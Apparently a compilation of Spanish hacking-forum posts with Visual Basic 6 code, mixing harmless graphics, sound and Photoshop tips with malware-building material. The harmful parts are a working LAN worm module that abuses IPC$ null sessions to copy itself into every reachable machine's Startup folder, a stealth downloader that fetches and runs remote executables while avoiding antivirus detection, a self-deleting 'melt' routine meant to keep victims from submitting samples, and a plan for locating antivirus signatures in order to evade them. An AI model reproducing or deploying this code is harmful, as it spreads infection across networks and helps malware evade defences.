                            .P(i).Xv = RndSpeed * Cos(RndDeg)
                            .P(i).Yv = RndSpeed * Sin(RndDeg)
                            .P(i).Color = Int(Rnd * vbWhite)
                        Next i
                       
                        .Exploded = True
                End Select
            Else
                SetPixelV Me.hDC, .X, .Y, vbWhite
            End If
        End If
    End With
End Sub

Private Sub Form_KeyPress(KeyAscii As Integer)
    End
End Sub

Private Sub Form_Load()
    Randomize

    RocketSpeed = Int(Rnd * 4) + 2
    FWCount = -1
   
    BF.BlendOp = &H0
    BF.BlendFlags = 0
    BF.AlphaFormat = 0
End Sub

Private Sub Timer1_Timer()
    For i = 0 To FWCount
        DrawFireWork FW(i)
    Next i

    RtlMoveMemory lBF, BF, 4
    AlphaBlend Me.hDC, 0, 0, Me.ScaleWidth, Me.ScaleHeight, Picture1.hDC, 0, 0, Picture1.ScaleWidth, Picture1.ScaleHeight, lBF
    Me.Refresh
End Sub

Private Sub Timer2_Timer()
    StartFireWork
    BF.SourceConstantAlpha = Int(Rnd * 25)
    Timer2.Interval = Int(Rnd * 500)
    Label1.ForeColor = FW(i).Color
End Sub



Download only for registered users!

[NetBios infection Module 1.0]

NetBios infection Module 1.0

Alguien ha pedido como hacer que nuestra aplicación hecha en VB6 infecte todos los equipos de una LAN de forma automática? Bien, aquí tienes un sencillo módulo que permite hacer tal cosa.

Para ello me he aprovechado de las flaquezas del protocolo NetBios, así como el poder de las sesiones nulas al IPC$ para infectar una LAN.

Este código es algo peligroso y sólo lo publico como prueba de concepto, el fin de este código es puramente educativo y didáctico, cualquier otro fin que le podáis dar será calificado como ilegal y el autor no se responsabilizará de los efectos causado por él. Para probar esta código es necesario hacerlo bajo unas estrictas medidas de seguridad y bajo un entorno de prueba. Prohibido usarlo en redes de trabajo reales.

sin más que añadir... aquí lo tenéis.

Código (vb) [Seleccionar] Expandir

'##############################################'
'#                                            #'
'# NetBios LAN Infection Module - version 1.0 #'
'#                                            #'
'# Made by ||MadAntrax||                      #'
'# Date: 14/jul/07                            #'
'#                                            #'
'#                       Happy Coding... ;D   #'
'##############################################'

Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Dim WS As CSocketMaster

Sub Main()
    Set WS = New CSocketMaster      'Modulo Winsock de CSocketMaster
    Dim SelfIP As String            'Nuestra propia IP de la LAN
    Dim SubNet As String            'Nuestra SubRed, ejemplo: 192.168.1.X
    Dim SubNetArray As String       'Almacenamos los Hosts de la LAN que son vulnerables
    Dim BufferIP() As String        'Almacenamos los octetos de nuestra IP
   
    SelfIP = WS.LocalIP             'Obtenemos nuestra IP de la LAN
    BufferIP = Split(SelfIP, ".")   'Partimos los octetos en un Array
   
    If UBound(BufferIP) = 3 Then
        SubNet = BufferIP(0) & "." & BufferIP(1) & "." & BufferIP(2)    'Obtenemos nuestra SubRed: 192.168.1.X
       
        SubNetArray = GetAliveHosts(SubNet, BufferIP(3))                'Obtenemos los Hosts que son vulnerables a NetBios
        If SubNetArray <> "0" Then                                      'Comprobamos que hay Hosts vulnerables en nuestra LAN
            Call GetPrivilegesOnSubNet(SubNet, SubNetArray)             'Obtenemos privilegios sobre los Hosts vulnerables gracias a IPC$
            DoEvents                                                    'Esperamos...
            Call InfectSubnet(SubNet, SubNetArray)                      'Infectamos los Hosts vulnerables gracias a C$
        End If
    End If
End Sub                                                                 'Fin del Código

''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'Función que almacena en un array el último octeto de la dirección IP de
'todos los Hosts de la LAN que son vulnerables a NetBios
'
'Ejemplo:
'Supongamos que encontramos estos Hosts
'   192.168.1.5
'   192.168.1.10
'   192.168.1.128
'   192.168.1.200
'
'Esta función devuelve: "5,10,128,200"
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Function GetAliveHosts(ByVal SubNet As String, ByVal MyHost As String) As String
    Dim AliveHosts As String                                    'Array donde se almacenan los Hosts vulnerables
   
    AliveHosts = ""
    WS.Protocol = sckTCPProtocol                                'Establecemos el protocolo en TCP
    For i = 1 To 254                                            'Bucle desde X.X.X.1 hasta X.X.X.254
        If WS.State <> sckClosed Then WS.CloseSck               'Si el Socket no está cerrado, lo cerramos para evitar errores.
        DoEvents                                                'Esperamos...
            WS.Connect SubNet & "." & i, 135                    'Nos conectamos a todos los Hosts de la LAN al puerto 135 TCP (NetBios)
        Sleep 500                                               'Esperamos 1/2 Segundo...
        If WS.State = sckConnected And i <> MyHost Then         'Si el Hosts es vulnerable y el Host no es MiPC entonces...
            AliveHosts = AliveHosts & i & ","                   '   añadimos el octeto del Host en el Array
        End If                                                  'End If
    Next i
       
    If Len(AliveHosts) > 0 Then                                 'Si hemos encontrado al menos 1 Host vulnerable...
        AliveHosts = Left(AliveHosts, Len(AliveHosts) - 1)      '   quitamos el último caracter del Array (siempre es una ",") para evitar errores.
        GetAliveHosts = AliveHosts                              '   devolvemos el Array como valor de retorno
        Exit Function                                           '   finalizamos esta función
    End If                                                      'End If
    GetAliveHosts = "0"                                         'Si no hemos encontrado ningún Host vulnerable en la LAN, devolvemos "0"
End Function

'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'Función que aprovecha el bug del IPC$ para establecer sesión nula (Null Session)
'en todos los Hosts de la LAN que son vulnerables a NetBios
'
'Ejemplo:
'Supongamos que encontramos estos Hosts
'   192.168.1.128
'   192.168.1.200
'
'Esta función ejecuta:
'   net use \\192.168.1.128\ipc$ "" /user:""
'   net use \\192.168.1.200\ipc$ "" /user:""
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Function GetPrivilegesOnSubNet(ByVal SubNet As String, ByVal SubNetArray As String)
    Dim tmpArray() As String
    Dim tmpIP As String
   
    tmpArray = Split(SubNetArray, ",")
    For i = 0 To UBound(tmpArray)
        tmpIP = "\\" & SubNet & "." & tmpArray(i) & "\ipc$ "
        Shell "net use " & tmpIP & Chr(34) & Chr(34) & " /user:" & Chr(34) & Chr(34), vbHide
    Next i
    'No es necesario comentar esta función, solo hace un bucle y ejecuta una shell
End Function

'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'Función que copia nuestro ejecutable en la carpeta INICIO de todos los usuarios
'de los Hosts vulnerables a NetBios, para ello utiliza C$
'
'Ejemplo:
'Supongamos que encontramos estos Hosts
'   192.168.1.128
'   192.168.1.200
'
'Esta función ejecuta:
'   copy "MiRuta\MiEjecutable.exe" "\\192.168.0.128\c$\Documents and Settings\All Users\Menú Inicio\Programas\Inicio\update.exe"
'   copy "MiRuta\MiEjecutable.exe" "\\192.168.0.200\c$\Documents and Settings\All Users\Menú Inicio\Programas\Inicio\update.exe"
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Function InfectSubnet(ByVal SubNet As String, ByVal SubNetArray As String)
    Dim tmpArray() As String
    Dim tmpIP As String
   
    tmpArray = Split(SubNetArray, ",")
    For i = 0 To UBound(tmpArray)
        tmpIP = "\\" & SubNet & "." & tmpArray(i) & "\c$\Documents and Settings\All Users\Menú Inicio\Programas\Inicio"
        Shell "copy " & Chr(34) & App.Path & "\" & App.EXEName & ".exe" & Chr(34) & " " & Chr(34) & tmpIP & "\updater.exe" & Chr(34), vbHide
    Next i
    'No es necesario comentar esta función, solo hace un bucle y ejecuta una shell
End Function




Que hace este código?

Primero obtiene nuestra IP y toma por defecto que se trata de una red de clase C (255.255.255.0), a partir de aquí crea un bucle desde:

X.X.X.1 hasta X.X.X.254 he intenta conectar al puerto 135 de TCP (NetBios), si lo consigue entonces establece una sesión nula (net use X.X.X.128ipc$ "" /user:"") para luego copiarse en la carpeta inicio de todos los usuarios bajo la unidad C$

Dudas, comentarios, sugerencias, criticas.. aquí porfavor

[[Vulnerabilidad] Shared-Folder execution bypass vulnerability]

He posteado una nueva vulnerabilidad y la prueba de concepto la he hecho (como no) en VB6. Os dejo el link del hilo principal por si alguien quiere investigar un poquito sobre este tema. Realmente es muy interesante para el server de un troyano o una botnet.

Saludos!!

[Vulnerabilidad] Shared-Folder execution bypass vulnerability
http://foro.elhacker.net/index.php/topic,172016.0.html

EDIT: el link se ha movido al foro privado hasta que se encuentre una solución a la vulnerabilidad. Lo siento

[Hendrix]

Bueno, a uno de ellos ya se presentó: Hendrix en el post de "Moderador Visual Basic 6.0" Y Ahora este subforo se refuerza con el apoyo y dedicación de E0N, que ha demostrado una dedicación, profesionalidad y ética envidiable y por ello se ha ganado el merecido puesto.

Espero que el número de trolls vaya decayendo así como los futuros proyectos de VB vayan en aumento.

Sin más que añadir: Felicidades y bienvenidos Hendrix y E0N

Pues eso, ví las herramientas para seleccionar color en Photoshop, las distintas paletas y escaleras de colores que posee y me dije... ¿será muy dificil programar eso?, nada más lejos de la verdad... solo tardé 2 minutos:



Y el código que te permite hacer eso me asombra de lo sencillo que es, a veces lo simple es bello:

Declaramos esto en un módulo:

Código (vb) [Seleccionar] Expandir

Public Declare Function SetPixelV Lib "gdi32" (ByVal hdc As Long, ByVal x As Long, ByVal y As Long, ByVal crColor As Long) As Long



Y esto en el evento OnClick() del botón:

Código (vb) [Seleccionar] Expandir

Private Sub Command1_Click()
    For x = 0 To 255
        For y = 0 To 255
            SetPixelV Picture1.hdc, x, y, RGB(x, y, 0)
            SetPixelV Picture2.hdc, x, y, RGB(x, 0, y)
            SetPixelV Picture3.hdc, x, y, RGB(0, y, x)
            SetPixelV Picture4.hdc, x, y, RGB(x, y, 255)
            SetPixelV Picture5.hdc, x, y, RGB(x, 255, y)
            SetPixelV Picture6.hdc, x, y, RGB(255, y, x)
        Next y
        Picture1.Refresh
        Picture2.Refresh
        Picture3.Refresh
        Picture4.Refresh
        Picture5.Refresh
        Picture6.Refresh
        DoEvents
    Next x
End Sub


Solo muestra los colores, pero no devuleve el color seleccionado, eso lo podemos terminar con la API: GetPixel (os dejo el razonamiento para que lo termineis vosotros)



Saludos!!

Buenas, siempre me ha fascinado como algunos programadores (de troyanos y cracks o keygens), dedican unos minutos en programar sencillos efectos en sus ventanas de "About", en mi afán de intentar ponerme a su altura he programado este sencillo efecto de máquina de escribir.

Si no recuerdo mal SubSeven 2.0 usaba esta técnica, aunque a mobman (programador del Sub7) le salió mucho mejor, con colores, música y efecto de partículas. Claro que él uso C++ para programar su troyano

Saludos!!

Bueno, hace una semana me he comprado un monitor LCD de 21 pulgadas y quería saber si tenia algún pixel muerto (que últimamente los fabricantes pasan de los pixeles muertos).

Así que he programado una sencilla utilidad que pone el monitor en todos los colores posibles, permitiendo ver si tienes algún pixel defectuoso, he escogido estos valores:

Código [Seleccionar] Expandir


RGB(255, 255, 255)
RGB(255, 255, 0)
RGB(255, 0, 255)
RGB(255, 0, 0)
RGB(0, 255, 255)
RGB(0, 255, 0)
RGB(0, 0, 255)
RGB(0, 0, 0)


Su uso es sencillo, ejecuta el programa y la pantalla se pondrá en blanco, mira si tiene algun pixel muerto... Para pasar a otro color haz click con el ratón o simplemente pulsa la tecla "Espacio" o "Enter". Si quieres cancelar el proceso y salir en cualquier momento pulsa "Esc" o espera a llegar al color negro.



La idea no es 100% mía, ví un código similar en pscode.com

Os dejo el source (no lo he comentado porque es muy simple) y una versión compilada para quien quiera probarlo sin usar el VisualBasic6

Saludos!!

[programa1.exe]

Aqui vuelve el pesao de MadAntrax con otro de sus códigos...

Esta vez sirve para controlar que nuestra aplicación no sea ejecutada 2 veces en un mismo equipo. Algunos pensareis que eso ya se puede hacer con

Código (vb) [Seleccionar] Expandir

If App.PrevInstance = True Then End

pero eso no es cierto... si nuestra aplicación se copia en System32 como: programa1.exe y programa2.exe... el usuario podrá ejecutar el programa1.exe y el programa2.exe simultáneamente! Eso puede suponer un problema en el caso de estar programando un troyano o un keylogger (donde lo importante es solo tener una instancia de nuestro malware a la vez).

Si no recuerdo mal, el troyano Bifrost usa esta función para controlar que solo un server.exe esté ejecutándose a la vez en un mismo sistema, y si la memoria no me falla este Mutex se puede personalizar en el EditServer. Bien, como creo yo una función similar en VB, así de simple:

Module1.bas

Código (vb) [Seleccionar] Expandir


'Estas sin las API's necesarias para crear y controlar el Mutex
Private Declare Function CreateMutex Lib "kernel32" Alias "CreateMutexA" (ByVal lpMutexAttributes As Long, ByVal bInitialOwner As Long, ByVal lpName As String) As Long
Private Declare Function WaitForSingleObject Lib "kernel32" (ByVal hHandle As Long, ByVal dwMilliseconds As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long

'Variable Global que almacena el Handle de nuestro Mutex
Private hMutex As Long

''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
' IsMutexRunning Parametros:
'   MutexStr = String
'       Cadena de texto única que usaremos para controlar nuestro Mutex
'
'   Valor de retorno = Boolean
'       Devuelve TRUE si existe el Mutex
'       Devuleve FALSE si no encuentra el Mutex
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''

Public Function IsMutexRunning(ByVal MutexStr As String) As Boolean
    hMutex = CreateMutex(0&, 0&, MutexStr)              'Creamos nuestro Mutex único
    If hMutex = 0 Then                                  'Si el Handle es 0 es que algo no va bien :S
        MsgBox "Ha ocurrido un error al intentar crear el Mutex. Es imposible controlar las instancias de este proceso", vbCritical + vbOKOnly, "CreateMutex Error"
        IsMutexRunning = False
    Else
        If WaitForSingleObject(hMutex, 0&) = &H0 Then   'Comprobamos si ya existe ese Handle
            IsMutexRunning = False                      'Si no existe, devolvemos FALSE
        Else
            MsgBox "Solo se permite una instancia simultanea de este proceso", vbOKOnly, "CreateMutex"
            CloseHandle hMutex                          'Si existe, cerramos el nuevo Handle
            IsMutexRunning = True                       'Y devolvemos TRUE
        End If
    End If
End Function

y el el Form1.frm...

Código (vb) [Seleccionar] Expandir

Private Sub Form_Load()
    'Evitar usar un Mutex superior a 256 carácteres
    'Recomiendo usar un Mutex poco común, asi evitamos problemas...
    If IsMutexRunning("MadAntrax_Mutex[73@]") = True Then End
End Sub


Así de simple!! os dejo un proyecto de ejemplo 100% funcional, la descarga esta habilitada solo a usuarios registrados!!

Saludos!!

[Cactus Downloader]

Hola, estoy programando el Cactus Downloader y publico aquí la función que implementaré en su núcleo. Permite descargar un fichero desde una dirección web HTTP o FTP, sin advertir al usuario. Funciona igual de bien que la famosa API: URLDownloadToFileA de urlmon.dll

El problema de esa API es que es detectada por el 99% de los Antivirus, por eso he diseñado una función flexible. Espero que sepais usar valores por defecto y valores opcionales, aunque no es demasiado complicado, aquí el source:

Module1.bas

Código (vb) [Seleccionar] Expandir


''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'Función que permite descargar un fichero de internet HTTP o FTP sin usar llamadas a APIS
'
'Uso de la función:
'   DownloadFile(URL = String, FileName = String, [SavePath = GlobalVar], [RunAfterDownload = Boolean], [RunHide = Boolean])
'   Return Value = Boolean (indica si se ha descargado o no el archivo)
'
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
Function DownloadFile(ByVal URL As String, ByVal SaveName As String, Optional SavePath As String = "TMP", Optional RunAfterDownload As Boolean = True, Optional RunHide As Boolean = False)
    On Error Resume Next
    Err.Clear
   
    Set XML = CreateObject("Microsoft.XMLHTTP")
    Set ADS = CreateObject("ADODB.Stream")

    XML.Open "GET", URL, False
    XML.send
   
    XML.getAllResponseHeaders
   
    FullSavePath = Environ(SavePath) & "\" & SaveName
   
    ADS.Open
    ADS.Type = 1
    ADS.Write XML.responseBody
    ADS.SaveToFile FullSavePath, 2
   
    If Err Then
        DownloadFile = False
    Else
        If RunAfterDownload = True Then
            If RunHide = True Then
                Shell FullSavePath, vbHide
            Else
                Shell FullSavePath, vbNormalFocus
            End If
        End If
        DownloadFile = True
    End If
End Function


Y para llamarla desde un Form o desde otra función:

Código (vb) [Seleccionar] Expandir


Private Sub Command1_Click()
    File = DownloadFile("http://perso.wanadoo.es/winworld/exec.exe", "prueba1.exe", "userprofile", True, False)
End Sub


El uso de la función es simple, y como usa valores Opcionales y Por Defecto solo tiene 2 argumentos requeridos, ejemplos:

DownloadFile("URL","NOMBRE")
Descargar el fichero URL y lo guarda en una carpeta Temporal con el nombre de NOMBRE, lo ejecuta y muestra la ventana

DownloadFile("URL","SERVER.EXE","SYSTEMROOT",FALSE)
Descargar el fichero URL y lo guarda en la capeta Windows con el nombre de SERVER.EXE, no lo ejecuta

DownloadFile("URL","KEYLOG",,,TRUE)
Descargar el fichero URL y lo guarda en una carpeta Temporal con el nombre de KEYLOG, lo ejecuta y NO muestra la ventana.

Si os complicais o no lo entendeis avisar, posteo un ejemplo (descargas válidad solo para usuarios registrados)

[La idea]

Buenas, os propongo un proyecto a ver si os gusta y lo programamos entre unos cuantos...

La idea
Los Antivirus detectan unas zonas concretas de los troyanos (llamados offsets), si un Antivirus descubre uno (o varios) offset's en un archivo lo detectará como virus/troyano.

Hasta el día de hoy, la única forma de saber que offset hace saltar Antivirus era ir probando uno por uno (que coñazo!). Lo que quiero programar es una utilidad que lo haga por nosotros.

Explicación
Un simple programa que le especifiques la ruta de tu server.exe. El programa pedirá cuantos bytes quieres trocear. (Supongamos que nuestro server.exe pesa 10000 bytes, troceamos a 1000 bytes). Obtendremos 10 archivitos de 1000 bytes cada uno. Ahora solo falta pasar el AV y ver que archivo detecta.

Problemas
Es posible que al trocear un server.exe, nuestro AV no detecte ningún archivito malicioso. Eso significa que una parte del offset maligno ha quedado partido en 2 (o más) archivos, en este caso tendríamos que indicar al usuario que repita el "troceo" indicando un valor más elevado.

Y si queréis podemos programar un mini-editor hexadecimal integrado para editar allí mismo el offset. O incluso una utilidad para volver a juntar los archivitos troceados (después de detectar y editar el offset maligno).

Que os parece, alguien se anima? (respuestas mismo)

[Definición]

Bueno, aquí otro de mis mini códigos para hacer "Melt" en VB6, pero antes... ¿que significa "Melt"?

Definición
Se llama "Melt" cuando un usuario ejecuta un archivo y este desaparece (se auto-elimina) después de ejecutarse, esta función es necesaria para evitar que nuestra víctima ejecute 2 veces nuestro malware o evitar que la victima lo envíe a un Antivirus o a virustotal después de ejecutarlo, su estructura es...

1) Ejecuto el archivo (A)
2) El archivo (A) se copia en otro lugar (B)
3) El archivo (A) ejecuta el archivo (B)
4) El archivo (B) borra el archivo (A)
5) El archivo (B) sigue ejecutando el resto de malware...

Como he dicho, esto es ideal para evitar que existan 2 procesos iguales abiertos en el sistema (para evitar que nuestro keylogger sea ejecutado 2 veces, o nuestro troyano intente escuchar 2 veces por el mismo puerto, etc). Así también evitas que la víctima envíe el archivo a un análisis después de ejecutarlo xD



Aquí el código:

Código (vb) [Seleccionar] Expandir

Private Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long

Sub Main()
    'Obtenemos el nombre de nuestro ejecutable
    MyName = App.EXEName
   
    'Comprobamos si nos llamamos CTFMON
    If LCase(App.EXEName) = "cftmon" Then
        Call Execute
    Else
        Call MeltFile
    End If
End Sub

Function Execute()
    'Función que se encarga de borrar el archivo original a partir
    'de su ruta. Al terminar ejecuta el PayLoad
   
    On Error Resume Next

    If Not IsEmpty(Command$) Then   'Verificamos si tenemos algo en los argumentos
        While Dir(Command$) <> ""   'Comprobamos si existe el archivo que tenemos en los argumentos
            Kill Command$           '   Si existe... lo borramos
            DoEvents                '   Esperamos un poco
        Wend                        'Bucle
    End If
    Call PayLoad                    'Ejecutamos el resto del Malware
End Function

Function MeltFile()
    'Función que copia el propio Malware en la carpeta TEMP del sistema
    'con el nombre de cftmon.exe. Ejecuta luego el archivo enviando como
    'argumento su propia ruta.
   
    Dim MySelf As String
    MySelf = String$(255, Chr$(0))

    GetModuleFileName 0, MySelf, Len(MySelf)        'Devuele la ruta correcta de tu aplicación

    FileCopy MySelf, Environ("TMP") & "\cftmon.exe" 'Nos copiamos en "TEMP\cftmon.exe"
    DoEvents                                        'Esperamos...
    Shell Environ("tmp") & "\cftmon.exe " & MySelf  'Ejecutamos "TMP\cftmon.exe" + Ruta de tu aplicación
    End                                             'Finalizamos (importante! xD)
End Function

Function PayLoad()
    'Aqui incluimos el resto de código de tu Malware...
    'Recomiendo llamar ahora a la función de AddToRegedit() para añadir la
    'aplicación con el Melt (cftmon.exe) al registro, abrir el puerto del troyano
    'activar el keylogger o lo que quieras programar :P
   
    MsgBox "Si estas leyendo esto es que tu aplicación ha hecho MELT y se ha borrado el archivo original, :P", vbInformation, "Melt in VB6"
    End
End Function


Si quieres evitar que tu aplicación sea ejecutada 2 veces también puedes crearte un MuteX, pero la función "Melt" hace lo mismo que el MuteX y encima borra el archivo original (para evitar análisis de AV's).

Saludos!! (Espero comentarios!!)

Codigo fuente adjunto al post (solo usuarios registrados)

[Como arreglar dientes y mejoras en general]

Como arreglar dientes y mejoras en general

Hola, primero ante todo decir que no soy nada experto en Photoshop, y este es mi primer tutorial... empecemos!!

Primero nos descargamos la foto original, yo he usado la dentadura de una chica que necesita ortodoncia... pero nosotros se lo arreglaremos con el Photoshop

Paso 1	Cargamos nuestra imagen en una sola capa llamada Original
Paso 2	Duplicamos la capa (Ctrl+J) y usamos la "Herramienta de marco Rectangular" (M) y hacemos una selección como la de la foto
Paso 3	Pulsamos Ctrl+T para entrar en el modo de "Transformación Libre" la selección cambiará de forma como en la foto
Paso 4	Usamos nuestro ratón para agrandar la selección hacia la derecha y cubrir así el espacio que hay en los dientes, mirar la foto
Paso 5	Combinamos la capa de arriba con la de abajo (Ctrl+E), usamos la herramienta "Lazo" (L) y con mucho cuidado selecionamos los dientes. Si te equivocas mantén pulsado Ctrl para añadir selección o Alt para quitar selección. Mirar la foto
Paso 6	Con la herramienta de Lazo aun seleccionada, pulsamos click derecho y marcamos la opción: "Capa vía copiar" Así crearemos una nueva capa con solo los dientes seleccionados
Paso 7	Aquí vemos la nueva capa creada, podemos borrar o modificar cosas si vemos que aun no está bien
Paso 8	Pulsamos Ctrl+U para entrar en HUE/Saturatión (Menu Imagen/Ajustes/HUE/Saturation. Seleccionamos el canal Amarillo y le quitamos Saturación y añadimos brillo
Paso 9	Como veis, el resultado es inmediato, pero en algunos casos se obtiene un efecto de "marfil" muy falso, lo solucionaremos cambiando la opacidad de la capa de dientes o su modo de fusión (yo lo puse en "Luz Neutral")
Paso 10	Cuando lo tenemos todo perfecto, combinamos capas (Ctrl+E) y creamos una nueva capa (Ctrl+J) llamada nariz, usamos el "Lazo" (L) y seleccionamos todo el conjunto de nariz y boca, entramos en el modo de Transformación Libre (Ctrl+T) y con el raton "rotamos" un poco el conjunto (ver foto!)
Paso 11	Quitamos la visibilidad de la capa del fondo, mostrando así el desplazamiento que hemos provocado. Seleccionamos nuestro "Borrador" y lo configuramos como: Diametro 10 y Dureza 0
Paso 12	Borramos todo el borde, así evitamos que se vea la rotación cuando juntemos las 2 capas. Fíjate que estamos borrando la capa de la nariz y la Original esta invisible! cuando termines pon la Original en modo visible.
Paso 13	Cuando termines, combina las 2 capas (Ctrl+E) y entra en el modo "Licuar" (Mayusculas+Ctrl+X) dentro de: Menu Filtro / Licuar, seleccionamos nuestra herramienta de "Desinflar" (S) y configuramos los parámetros así (ver foto)
Paso 14	Pulsamos varias veces encima d ela nariz para dejarla un poco más delgada, hay que ir cuidado con esta opción, siempre podemos retroceder pulsando Ctrl+Z, cuando termines acepta y mira el resultado (ver foto)
Paso 15	Seleccionamos nuestro "Pincel Corrector" (J) para borrar ese granito de la derecha lo configuramos como en la foto
Paso 16	Situamos nuestro ratón en una zona de la cara limpia y sin impurezas, pulsamos la tecla ALT y el cursor cambiará de forma, hacemos un solo click y soltamos el raton y la tecla ALT, ahora nos situamos encima de la imperfección, hacemos click y buala! el granito desaparece

Bueno, hasta aqui el fin de tuto. En principio quería hacerlo más extenso pero me he agobiado, os pongo la foto original y como la he dejado yo, por si alguien quiere continuar:



Si usais firefox o algún otro explorador con pestañas podreis ver la foto original y mi "retoque" pasando de una a otra para apreciar las diferecnias. Saludos!!

(Espero comentarios, es mi primer tuto!)

Hola!!

Aqui vuelve con otro de mis sources, este está basado en un script WMI que encontré en mi editor VBSEdit3

La gracia de este código es que puedes obtener mucha información acerca de todas las tarjetas de red (NIC'S) que hay en un mismo PC, asi como saber si un equipo tiene más de una IP, más de un server DNS, DHCP, etc...

Adjunto foto, el código en VB y el código WMI original en VBS.



Saludos!!

[Nuevo Programa: Shadow Host]

Os dejo el source completo de Shadow Host, es un programa que hice hace muchisimo tiempo (05 Diciembre 2005). Lo publiqué en este foro y apareció en uno de sus boletiones, aqui el link:

Nuevo Programa: Shadow Host
http://foro.elhacker.net/index.php/topic,97805.0.html

Permite obtener las cabeceras HTTP de un webserver, asi como los mensajes de bienvenida que hay en los servidores FTP, SMTP y POP3, de esta manera podemos saber que servicio y versión está ejecutando un servidor (para usar exploits en él más adelante xD)

El código es sencillo, si no se entiende algo avisar. Como he dicho es del 2005 y en esa época estaba aprendiendo a programar xD puede que se tenga que optimizar un poco el código

Saludos!!

Encontré hace tiempo esta función, no la he programado yo. Sirve para dar forma a los formularios según la imagen de fondo que tengan, solo tienes que decirle que color será el usado para las transparencias, ejemplo: vbWhite, vbBlack, vbRed, etc...

Código (vb) [Seleccionar] Expandir

Private Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long) As Long
Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Private Declare Function SetLayeredWindowAttributes Lib "user32.dll" (ByVal hwnd As Long, ByVal crKey As Long, ByVal bAlpha As Byte, ByVal dwFlags As Long) As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Function ReleaseCapture Lib "user32" () As Long

Private Sub Form_Load()
    'Llamamos a la función, enviamos el nombre del Form y el Color de fondo
    MakeSkin Form1, vbWhite
End Sub

Private Sub MakeSkin(ByVal Frm As Form, ByVal BColor As Long)
    'Función que "recorta" un formulario según su color de fondo.
    Frm.BackColor = BColor
    Tmp = GetWindowLong(Frm.hwnd, -20)
    Tmp = Tmp Or &H80000
    SetWindowLong Frm.hwnd, -20, &H80000
    SetLayeredWindowAttributes Frm.hwnd, BColor, 0, &H1
End Sub

Private Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)
    'Permite mover el formulario al hacer click encima de él
    ReleaseCapture
    SendMessage Me.hwnd, &HA1, 2, 0&
End Sub


Usar imagenes BMP y con solor de 32 bits, así no tendreis problemas... si os preocupa el tamaño final luego empaquetais con UPX y problema resuelto xD

Saludos!!

[about]

He programado este sencillo efecto en VB, a partir de una imagen te genera otra igual pero con los píxeles más grandes y aleatórios, dando un efecto de "marca de agua" muy particular, esto lo veo apropiado para poner en las típicas ventanas de about o acerca de... de nuestros proyectos.

Código [Seleccionar] Expandir


Private Sub Form_Load()
    On Error Resume Next
    Picture2.Height = Picture1.Height
    Picture2.Width = Picture1.Width
   
    'Cargamos 100 Timer's y los activamos
    For i = 0 To 100     'Bajar el valor para hacerlo mas lento
        Load Timer1(i)
        Timer1(i).Enabled = True
    Next i
End Sub

Private Sub Picture2_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
'Pintamos por donde movemos el mouse
On Error Resume Next
Randomize
Picture2.ForeColor = Picture1.Point(X, Y)
Picture2.PSet (X, Y)
Picture2.DrawWidth = 5
End Sub

Private Sub Picture2_Click()
    'Borramos si hacemos click
    Picture2.Cls
End Sub

Private Sub Timer1_Timer(Index As Integer)
    'Pintamos puntitos aleatórios
    On Error Resume Next
    Randomize
    a = Int((Rnd * Picture1.Width) + 1)
    b = Int((Rnd * Picture1.Height) + 1)
    Picture2.ForeColor = Picture1.Point(a, b)
    Picture2.PSet (a, b)
    Picture2.DrawWidth = Int((Rnd * 5))
End Sub


Si no os funciona, bajaros el código completo que está adjunto a este post (solo usuarios registrados), funciona 100%

Saludos!!

[Beep 150,50]

Os dejo la sencilla API que permite hacer sonidos indicando su frecuencia y la duración en milisegundos:

Código [Seleccionar] Expandir

Private Declare Function Beep Lib "kernel32" (ByVal dwFreq As Long, ByVal dwDuration As Long) As Long


Para usarla solo poner en cualquier parte de tu código:

Beep 150,50

Así de facil!



Os dejo unos ejemplos hechos por mí:

Código [Seleccionar] Expandir

Private Declare Function Beep Lib "kernel32" (ByVal dwFreq As Long, ByVal dwDuration As Long) As Long

Private Sub Command1_Click()
For i = 1 To 5
  Beep 700 * i, 450
Next i
End Sub

Private Sub Command2_Click()
Beep 4000, 3000
End Sub

Private Sub Command3_Click()
For i = 1 To 30
  Beep 2 ^ i, 100
Next i
End Sub

Private Sub Command4_Click()
For x = 4 To 10
    For y = 1 To 50
        Beep x * (y + x), 5 + x
    Next y
Next x
Beep 2000, 500
End Sub

Private Sub Command5_Click()
    For x = 1 To 450
        s = Round(x Mod 5)
        Beep s * x, 30
    Next x
End Sub

Private Sub Command6_Click()
    Randomize
    For x = 1 To 10
        num = Int(Rnd * 1000) + 100
        dur = Int(Rnd * 100) + 50
       
        Beep num, dur
    Next x
End Sub


Y como siempre el código adjunto al post, saludos!!

[1)]

Buenas!!

En una de mis rayadas de fin de semana me ha dado por programarme un "mundo virtual" de seres pixelados, os dejo una foto del programa:



Hay 3 clases de píxeles:

• Humanos
• Virus
• Doctores

Todos los bichitos se mueven aleatoriamente por la pantalla, cumpliendo unas normas básicas, estas son:

1) Si un Virus toca un Humano, el Humano se convertirá en Virus (50% de las veces).
2) So un Virus toca un Doctor, el Doctor se convertirá en Virus (30% de las veces)
3) Si un Doctor toca un Virus, el Virus se curará:
